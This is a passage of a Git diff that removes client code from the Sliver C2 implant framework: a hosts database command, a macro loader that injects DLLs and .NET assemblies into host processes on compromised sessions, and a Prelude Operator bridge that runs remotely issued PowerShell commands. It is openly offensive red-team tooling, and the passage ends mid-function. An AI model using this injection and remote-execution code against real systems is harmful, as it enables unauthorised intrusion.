"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// HostsRmCmd - Remove a host from the database
|
||||
func HostsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
host, err := SelectHost(con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
_, err = con.Rpc.HostRm(context.Background(), host)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Removed host from database\n")
|
||||
}
|
||||
@@ -1,164 +0,0 @@
|
||||
package hosts
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
var (
|
||||
// ErrNoHosts - No hosts in database
|
||||
ErrNoHosts = errors.New("no hosts")
|
||||
// ErrNoSelection - No selection made
|
||||
ErrNoSelection = errors.New("no selection")
|
||||
)
|
||||
|
||||
// HostsCmd - Main hosts command
|
||||
func HostsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
allHosts, err := con.Rpc.Hosts(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err)
|
||||
return
|
||||
}
|
||||
if 0 < len(allHosts.Hosts) {
|
||||
con.Printf("%s\n", hostsTable(allHosts.Hosts, con))
|
||||
} else {
|
||||
con.PrintInfof("No hosts\n")
|
||||
}
|
||||
}
|
||||
|
||||
func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(table.StyleLight)
|
||||
tw.AppendHeader(table.Row{
|
||||
"Hostname",
|
||||
"Operating System",
|
||||
"Sessions",
|
||||
"IOCs",
|
||||
"Extension Data",
|
||||
"ID (Short)",
|
||||
})
|
||||
for _, host := range hosts {
|
||||
var shortID string
|
||||
if len(host.HostUUID) < 8 {
|
||||
shortID = host.HostUUID[:len(host.HostUUID)]
|
||||
} else {
|
||||
shortID = host.HostUUID[:8]
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
host.Hostname,
|
||||
host.OSVersion,
|
||||
hostSessionNumbers(host.HostUUID, con),
|
||||
len(host.IOCs),
|
||||
len(host.ExtensionData),
|
||||
shortID,
|
||||
})
|
||||
}
|
||||
return tw.Render()
|
||||
}
|
||||
|
||||
func hostSessionNumbers(hostUUID string, con *console.SliverConsoleClient) string {
|
||||
hostSessions := SessionsForHost(hostUUID, con)
|
||||
if 0 == len(hostSessions) {
|
||||
return "None"
|
||||
}
|
||||
sessionNumbers := []string{}
|
||||
for _, hostSession := range hostSessions {
|
||||
sessionNumbers = append(sessionNumbers, fmt.Sprintf("%d", hostSession.ID))
|
||||
}
|
||||
return strings.Join(sessionNumbers, ", ")
|
||||
}
|
||||
|
||||
func SessionsForHost(hostUUID string, con *console.SliverConsoleClient) []*clientpb.Session {
|
||||
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return []*clientpb.Session{}
|
||||
}
|
||||
hostSessions := []*clientpb.Session{}
|
||||
for _, session := range sessions.Sessions {
|
||||
if session.UUID == hostUUID {
|
||||
hostSessions = append(hostSessions, session)
|
||||
}
|
||||
}
|
||||
return hostSessions
|
||||
}
|
||||
|
||||
// SelectHost - Interactively select a host from the database
|
||||
func SelectHost(con *console.SliverConsoleClient) (*clientpb.Host, error) {
|
||||
allHosts, err := con.Rpc.Hosts(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// Sort the keys because maps have a randomized order, these keys must be ordered for the selection
|
||||
// to work properly since we rely on the index of the user's selection to find the session in the map
|
||||
var keys []string
|
||||
var hostMap = make(map[string]*clientpb.Host)
|
||||
for _, host := range allHosts.Hosts {
|
||||
keys = append(keys, host.HostUUID)
|
||||
hostMap[host.HostUUID] = host
|
||||
}
|
||||
sort.Strings(keys)
|
||||
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
|
||||
// Column Headers
|
||||
for _, key := range keys {
|
||||
host := hostMap[key]
|
||||
fmt.Fprintf(table, "%s\t%s\t\n",
|
||||
host.Hostname,
|
||||
host.OSVersion,
|
||||
)
|
||||
}
|
||||
table.Flush()
|
||||
|
||||
options := strings.Split(outputBuf.String(), "\n")
|
||||
options = options[:len(options)-1] // Remove the last empty option
|
||||
prompt := &survey.Select{
|
||||
Message: "Select a host:",
|
||||
Options: options,
|
||||
}
|
||||
selected := ""
|
||||
survey.AskOne(prompt, &selected)
|
||||
if selected == "" {
|
||||
return nil, ErrNoSelection
|
||||
}
|
||||
|
||||
// Go from the selected option -> index -> host
|
||||
for index, option := range options {
|
||||
if option == selected {
|
||||
return hostMap[keys[index]], nil
|
||||
}
|
||||
}
|
||||
return nil, ErrNoSelection
|
||||
}
|
||||
@@ -1,4 +0,0 @@
|
||||
Extensions
|
||||
===========
|
||||
|
||||
Wraps external DLLs/tool in Sliver console commands.
|
||||
@@ -1,335 +0,0 @@
|
||||
package macros
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultTimeout = 60
|
||||
|
||||
windowsDefaultHostProc = `c:\windows\system32\notepad.exe`
|
||||
linuxDefaultHostProc = "/bin/bash"
|
||||
macosDefaultHostProc = "/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment"
|
||||
)
|
||||
|
||||
var commandMap map[string]macro
|
||||
var defaultHostProc = map[string]string{
|
||||
"windows": windowsDefaultHostProc,
|
||||
"linux": windowsDefaultHostProc,
|
||||
"darwin": macosDefaultHostProc,
|
||||
}
|
||||
|
||||
type binFiles struct {
|
||||
Ext64Path string `json:"x64"`
|
||||
Ext32Path string `json:"x86"`
|
||||
}
|
||||
|
||||
type macroFile struct {
|
||||
OS string `json:"os"`
|
||||
Files binFiles `json:"files"`
|
||||
}
|
||||
|
||||
type macroCommand struct {
|
||||
Name string `json:"name"`
|
||||
Entrypoint string `json:"entrypoint"`
|
||||
Help string `json:"help"`
|
||||
LongHelp string `json:"longHelp"`
|
||||
AllowArgs bool `json:"allowArgs"`
|
||||
DefaultArgs string `json:"defaultArgs"`
|
||||
MacroFiles []macroFile `json:"extFiles"`
|
||||
IsReflective bool `json:"isReflective"`
|
||||
IsAssembly bool `json:"IsAssembly"`
|
||||
}
|
||||
|
||||
func (ec *macroCommand) getDefaultProcess(targetOS string) (proc string, err error) {
|
||||
proc, ok := defaultHostProc[targetOS]
|
||||
if !ok {
|
||||
err = fmt.Errorf("no default process for %s target, please specify one", targetOS)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
type macro struct {
|
||||
Name string `json:"macroName"`
|
||||
Commands []macroCommand `json:"macroCommands"`
|
||||
Path string
|
||||
}
|
||||
|
||||
func (e *macro) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
|
||||
for _, c := range e.Commands {
|
||||
if cmdName == c.Name {
|
||||
for _, ef := range c.MacroFiles {
|
||||
if targetOS == ef.OS {
|
||||
switch targetArch {
|
||||
case "x86":
|
||||
filePath = filepath.Join(e.Path, ef.Files.Ext32Path)
|
||||
case "x64":
|
||||
filePath = filepath.Join(e.Path, ef.Files.Ext64Path)
|
||||
default:
|
||||
filePath = filepath.Join(e.Path, ef.Files.Ext64Path)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
if filePath == "" {
|
||||
err = fmt.Errorf("no macro file found for %s/%s", targetOS, targetArch)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func (e *macro) getCommandFromName(name string) (extCmd *macroCommand, err error) {
|
||||
for _, x := range e.Commands {
|
||||
if x.Name == name {
|
||||
extCmd = &x
|
||||
return
|
||||
}
|
||||
}
|
||||
err = fmt.Errorf("no macro command found for name %s", name)
|
||||
return
|
||||
}
|
||||
|
||||
// LoadMacroCmd - Locally load a macro into the Sliver shell.
|
||||
func LoadMacroCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
dirPath := ctx.Args.String("dir-path")
|
||||
|
||||
// retrieve macro manifest
|
||||
manifestPath := fmt.Sprintf("%s/%s", dirPath, "manifest.json")
|
||||
jsonBytes, err := ioutil.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
}
|
||||
// parse it
|
||||
ext := ¯o{}
|
||||
err = json.Unmarshal(jsonBytes, ext)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error loading macro: %v", err)
|
||||
return
|
||||
}
|
||||
ext.Path = dirPath
|
||||
// for each macro command, add a new app command
|
||||
for _, extCmd := range ext.Commands {
|
||||
// do not add if the command already exists
|
||||
if cmdExists(extCmd.Name, ctx.App) {
|
||||
con.PrintErrorf("%s command already exists\n", extCmd.Name)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Adding %s command: %s\n", extCmd.Name, extCmd.Help)
|
||||
|
||||
// Have to use a global map here, as passing the extCmd
|
||||
// either by value or by ref fucks things up
|
||||
commandMap[extCmd.Name] = *ext
|
||||
helpMsg := fmt.Sprintf("[%s] %s", ext.Name, extCmd.Help)
|
||||
macroCmd := &grumble.Command{
|
||||
Name: extCmd.Name,
|
||||
Help: helpMsg,
|
||||
LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
|
||||
Run: func(extCtx *grumble.Context) error {
|
||||
con.Println()
|
||||
runMacroCommand(extCtx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
if extCmd.IsAssembly {
|
||||
f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
|
||||
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
|
||||
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
|
||||
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
|
||||
}
|
||||
f.String("p", "process", "", "Path to process to host the shared object")
|
||||
f.Bool("s", "save", false, "Save output to disk")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.StringList("arguments", "arguments", grumble.Default([]string{}))
|
||||
},
|
||||
HelpGroup: consts.MacroHelpGroup,
|
||||
}
|
||||
con.App.AddCommand(macroCmd)
|
||||
}
|
||||
con.PrintInfof("%s macro has been loaded\n", ext.Name)
|
||||
}
|
||||
|
||||
func runMacroCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
ext, ok := commandMap[ctx.Command.Name]
|
||||
if !ok {
|
||||
con.PrintErrorf("No macro command found for `%s` command\n", ctx.Command.Name)
|
||||
return
|
||||
}
|
||||
|
||||
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.GetOS(), session.GetArch())
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
c, err := ext.getCommandFromName(ctx.Command.Name)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
args := ctx.Args.StringList("arguments")
|
||||
var extArgs string
|
||||
if len(c.DefaultArgs) != 0 && len(args) == 0 {
|
||||
extArgs = c.DefaultArgs
|
||||
} else {
|
||||
extArgs = strings.Join(args, " ")
|
||||
}
|
||||
entryPoint := c.Entrypoint
|
||||
processName := ctx.Flags.String("process")
|
||||
if processName == "" {
|
||||
processName, err = c.getDefaultProcess(session.GetOS())
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
isDLL := false
|
||||
if filepath.Ext(binPath) == ".dll" {
|
||||
isDLL = true
|
||||
}
|
||||
binData, err := ioutil.ReadFile(binPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
var outFilePath *os.File
|
||||
if ctx.Flags.Bool("save") {
|
||||
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
|
||||
outFilePath, err = ioutil.TempFile("", outFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
if c.IsAssembly {
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
IsDLL: isDLL,
|
||||
Process: processName,
|
||||
Arguments: extArgs,
|
||||
Assembly: binData,
|
||||
Arch: ctx.Flags.String("arch"),
|
||||
Method: ctx.Flags.String("method"),
|
||||
ClassName: ctx.Flags.String("class"),
|
||||
AppDomain: ctx.Flags.String("app-domain"),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Output:\n%s", string(executeAssemblyResp.GetOutput()))
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write(executeAssemblyResp.GetOutput())
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
} else if c.IsReflective {
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Args: strings.Trim(extArgs, " "),
|
||||
Data: binData,
|
||||
ProcessName: processName,
|
||||
EntryPoint: c.Entrypoint,
|
||||
Kill: true,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Output:\n%s", spawnDllResp.GetResult())
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(spawnDllResp.GetResult()))
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
} else {
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Args: extArgs,
|
||||
Data: binData,
|
||||
EntryPoint: entryPoint,
|
||||
ProcessName: processName,
|
||||
Kill: true,
|
||||
IsDLL: isDLL,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Output:\n%s", sideloadResp.GetResult())
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(sideloadResp.GetResult()))
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func cmdExists(name string, app *grumble.App) bool {
|
||||
for _, c := range app.Commands().All() {
|
||||
if name == c.Name {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func init() {
|
||||
commandMap = make(map[string]macro)
|
||||
}
|
||||
@@ -1,46 +0,0 @@
|
||||
package operator
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/prelude"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func ConnectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
url := ctx.Args.String("connection-string")
|
||||
aesKey := ctx.Flags.String("aes-key")
|
||||
agentRange := ctx.Flags.String("range")
|
||||
skipExisting := ctx.Flags.Bool("skip-existing")
|
||||
|
||||
config := &prelude.OperatorConfig{
|
||||
Range: agentRange,
|
||||
OperatorURL: url,
|
||||
RPC: con.Rpc,
|
||||
AESKey: aesKey,
|
||||
}
|
||||
|
||||
sessMapper := prelude.InitSessionMapper(config)
|
||||
|
||||
con.PrintInfof("Connected to Operator at %s\n", url)
|
||||
if !skipExisting {
|
||||
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not get session list: %s", err)
|
||||
return
|
||||
}
|
||||
if len(sessions.Sessions) > 0 {
|
||||
con.PrintInfof("Adding existing sessions ...\n")
|
||||
for _, sess := range sessions.Sessions {
|
||||
err = sessMapper.AddSession(sess)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not add session %s to session mapper: %s", sess.Name, err)
|
||||
}
|
||||
}
|
||||
con.PrintInfof("Done !\n")
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,15 +0,0 @@
|
||||
package operator
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/prelude"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func OperatorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if prelude.SessionMapper != nil {
|
||||
con.PrintInfof("Connected to Operator at %s\n", prelude.SessionMapper.GetConfig().OperatorURL)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Not connected to any Operator server. Use `operator connect` to connect to one.")
|
||||
}
|
||||
@@ -32,7 +32,6 @@ import (
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/prelude"
|
||||
"github.com/bishopfox/sliver/client/spin"
|
||||
"github.com/bishopfox/sliver/client/version"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
@@ -96,8 +95,6 @@ type BindCmds func(console *SliverConsoleClient)
|
||||
// Start - Console entrypoint
|
||||
func Start(rpc rpcpb.SliverRPCClient, bindCmds BindCmds, extraCmds BindCmds, isServer bool) error {
|
||||
|
||||
assets.Setup(false, false)
|
||||
|
||||
con := &SliverConsoleClient{
|
||||
App: grumble.New(&grumble.Config{
|
||||
Name: "Sliver",
|
||||
@@ -188,13 +185,6 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
con.PrintInfof("Session #%d %s - %s (%s) - %s/%s - %v\n\n",
|
||||
session.ID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
|
||||
}
|
||||
// Prelude Operator
|
||||
if prelude.SessionMapper != nil {
|
||||
err = prelude.SessionMapper.AddSession(session)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not add session to Operator: %s", err)
|
||||
}
|
||||
}
|
||||
|
||||
case consts.SessionUpdateEvent:
|
||||
session := event.Session
|
||||
@@ -209,14 +199,7 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
if activeSession != nil && activeSession.ID == session.ID {
|
||||
con.ActiveSession.Set(nil)
|
||||
con.App.SetPrompt(con.GetPrompt())
|
||||
con.Printf(Warn + "Active session disconnected\n")
|
||||
}
|
||||
if prelude.SessionMapper != nil {
|
||||
err = prelude.SessionMapper.RemoveSession(session)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not remove session from Operator: %s", err)
|
||||
}
|
||||
con.PrintInfof("Removed session %s from Operator\n", session.Name)
|
||||
con.Printf(Warn + " Active session disconnected\n")
|
||||
}
|
||||
con.Println()
|
||||
}
|
||||
|
||||
@@ -115,7 +115,6 @@ const (
|
||||
UnsetStr = "unset"
|
||||
SaveStr = "save"
|
||||
ReloadStr = "reload"
|
||||
LoadStr = "load"
|
||||
|
||||
LootStr = "loot"
|
||||
LootLocalStr = "local"
|
||||
@@ -175,8 +174,7 @@ const (
|
||||
MigrateStr = "migrate"
|
||||
SideloadStr = "sideload"
|
||||
SpawnDllStr = "spawndll"
|
||||
ExtensionStr = "extension"
|
||||
LoadMacroStr = "load-macro"
|
||||
LoadExtensionStr = "load-extension"
|
||||
StageListenerStr = "stage-listener"
|
||||
|
||||
WebsitesStr = "websites"
|
||||
@@ -207,14 +205,9 @@ const (
|
||||
|
||||
ReactionStr = "reaction"
|
||||
|
||||
HostsStr = "hosts"
|
||||
IOCStr = "ioc"
|
||||
|
||||
LicensesStr = "licenses"
|
||||
|
||||
GetPrivsStr = "getprivs"
|
||||
OperatorStr = "operator"
|
||||
ConnectStr = "connect"
|
||||
)
|
||||
|
||||
// Groups
|
||||
@@ -223,6 +216,5 @@ const (
|
||||
SliverHelpGroup = "Sliver:"
|
||||
SliverWinHelpGroup = "Sliver - Windows:"
|
||||
MultiplayerHelpGroup = "Multiplayer:"
|
||||
MacroHelpGroup = "Sliver - 3rd Party macros:"
|
||||
ExtensionHelpGroup = "Sliver - 3rd Party extensions:"
|
||||
)
|
||||
@@ -1,4 +0,0 @@
|
||||
Prelude
|
||||
=======
|
||||
|
||||
The `prelude` package handles the connection with [Prelude's Operator platform](https://www.prelude.org/).
|
||||
@@ -1,132 +0,0 @@
|
||||
package prelude
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/json"
|
||||
"io"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/prelude/util"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultTimeout = 60
|
||||
delim = "\r\n"
|
||||
)
|
||||
|
||||
type AgentSession struct {
|
||||
Conn *net.Conn
|
||||
Session *clientpb.Session
|
||||
RPC rpcpb.SliverRPCClient
|
||||
Beacon Beacon
|
||||
Config AgentConfig
|
||||
}
|
||||
|
||||
func NewAgentSession(c *net.Conn, s *clientpb.Session, rpc rpcpb.SliverRPCClient, b Beacon, conf AgentConfig) *AgentSession {
|
||||
return &AgentSession{
|
||||
Conn: c,
|
||||
Session: s,
|
||||
RPC: rpc,
|
||||
Config: conf,
|
||||
Beacon: b,
|
||||
}
|
||||
}
|
||||
|
||||
func (a *AgentSession) ReceiveLoop() {
|
||||
for {
|
||||
err := a.send()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
scanner := bufio.NewScanner(*a.Conn)
|
||||
for scanner.Scan() {
|
||||
message := strings.TrimSpace(scanner.Text())
|
||||
err = a.respond(message)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (a *AgentSession) send() error {
|
||||
data, err := json.Marshal(a.Beacon)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
dataBuff := bytes.NewReader(append(util.Encrypt(data), "\n"...))
|
||||
sendBuffer := make([]byte, 1024)
|
||||
for {
|
||||
_, err := dataBuff.Read(sendBuffer)
|
||||
if err == io.EOF {
|
||||
return nil
|
||||
}
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if _, err = (*a.Conn).Write(sendBuffer); err != nil {
|
||||
return err
|
||||
}
|
||||
time.Sleep(time.Duration(a.Beacon.Sleep))
|
||||
}
|
||||
}
|
||||
|
||||
func (a *AgentSession) respond(message string) error {
|
||||
var tempBeacon Beacon
|
||||
if err := json.Unmarshal([]byte(util.Decrypt(message)), &tempBeacon); err == nil {
|
||||
a.Beacon.Links = a.Beacon.Links[:0]
|
||||
a.runLinks(&tempBeacon)
|
||||
}
|
||||
a.refreshBeacon(&a.Config)
|
||||
a.send()
|
||||
return nil
|
||||
}
|
||||
|
||||
func (a *AgentSession) runLinks(tempBeacon *Beacon) {
|
||||
for _, link := range a.Config.StartInstructions(tempBeacon.Links) {
|
||||
time.Sleep(time.Second * 1)
|
||||
//TODO handle link.payloadPath
|
||||
payloadPath := ""
|
||||
response, status, pid := RunCommand(link.Request, link.Executor, payloadPath, &a.Config, a.RPC, a.Session)
|
||||
link.Response = response
|
||||
link.Status = status
|
||||
link.Pid = pid
|
||||
a.Beacon.Links = append(a.Beacon.Links, link)
|
||||
a.Config.EndInstruction(link)
|
||||
}
|
||||
}
|
||||
|
||||
func (a *AgentSession) refreshBeacon(conf *AgentConfig) {
|
||||
var pwd string
|
||||
pwdResp, _ := a.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
|
||||
Request: MakeRequest(a.Session),
|
||||
})
|
||||
if pwdResp != nil {
|
||||
pwd = pwdResp.Path
|
||||
}
|
||||
a.Beacon.Sleep = conf.Sleep
|
||||
a.Beacon.Range = conf.Range
|
||||
a.Beacon.Pwd = pwd
|
||||
a.Beacon.Target = conf.Address
|
||||
a.Beacon.Executing = conf.BuildExecutingHash()
|
||||
|
||||
}
|
||||
|
||||
func MakeRequest(session *clientpb.Session) *commonpb.Request {
|
||||
if session == nil {
|
||||
return nil
|
||||
}
|
||||
timeout := int64(defaultTimeout)
|
||||
return &commonpb.Request{
|
||||
SessionID: session.ID,
|
||||
Timeout: timeout,
|
||||
}
|
||||
}
|
||||
@@ -1,92 +0,0 @@
|
||||
package prelude
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"log"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
//RunCommand executes a given command
|
||||
func RunCommand(message string, executor string, payloadPath string, agent *AgentConfig, rpc rpcpb.SliverRPCClient, session *clientpb.Session) (string, int, int) {
|
||||
switch executor {
|
||||
case "keyword":
|
||||
task := splitMessage(message, '.')
|
||||
switch task[0] {
|
||||
case "config":
|
||||
// return updateConfiguration(task[1], agent)
|
||||
// case "shell":
|
||||
// return pty.SpawnShell(task[1], agent)
|
||||
case "exit":
|
||||
return shutdown(agent, rpc, session)
|
||||
default:
|
||||
// return "Keyword selected not available for agent", util.ErrorExitStatus, util.ErrorExitStatus
|
||||
}
|
||||
default:
|
||||
bites, status, pid := execute(message, executor, agent, rpc, session)
|
||||
return string(bites), status, pid
|
||||
}
|
||||
return "", 0, 0
|
||||
}
|
||||
|
||||
func execute(cmd string, executor string, agentConfig *AgentConfig, rpc rpcpb.SliverRPCClient, session *clientpb.Session) (string, int, int) {
|
||||
args := append(getCmdArg(executor), cmd)
|
||||
if executor == "psh" {
|
||||
executor = "powershell.exe"
|
||||
}
|
||||
log.Printf("[!] Executing %s %s\n", executor, strings.Join(args, " "))
|
||||
execResp, err := rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
|
||||
Path: executor,
|
||||
Args: args,
|
||||
Output: true,
|
||||
Request: MakeRequest(session),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
return fmt.Sprintf("Error: %s\n", err.Error()), 0, 0
|
||||
}
|
||||
|
||||
if execResp.Response != nil && execResp.Response.Err != "" {
|
||||
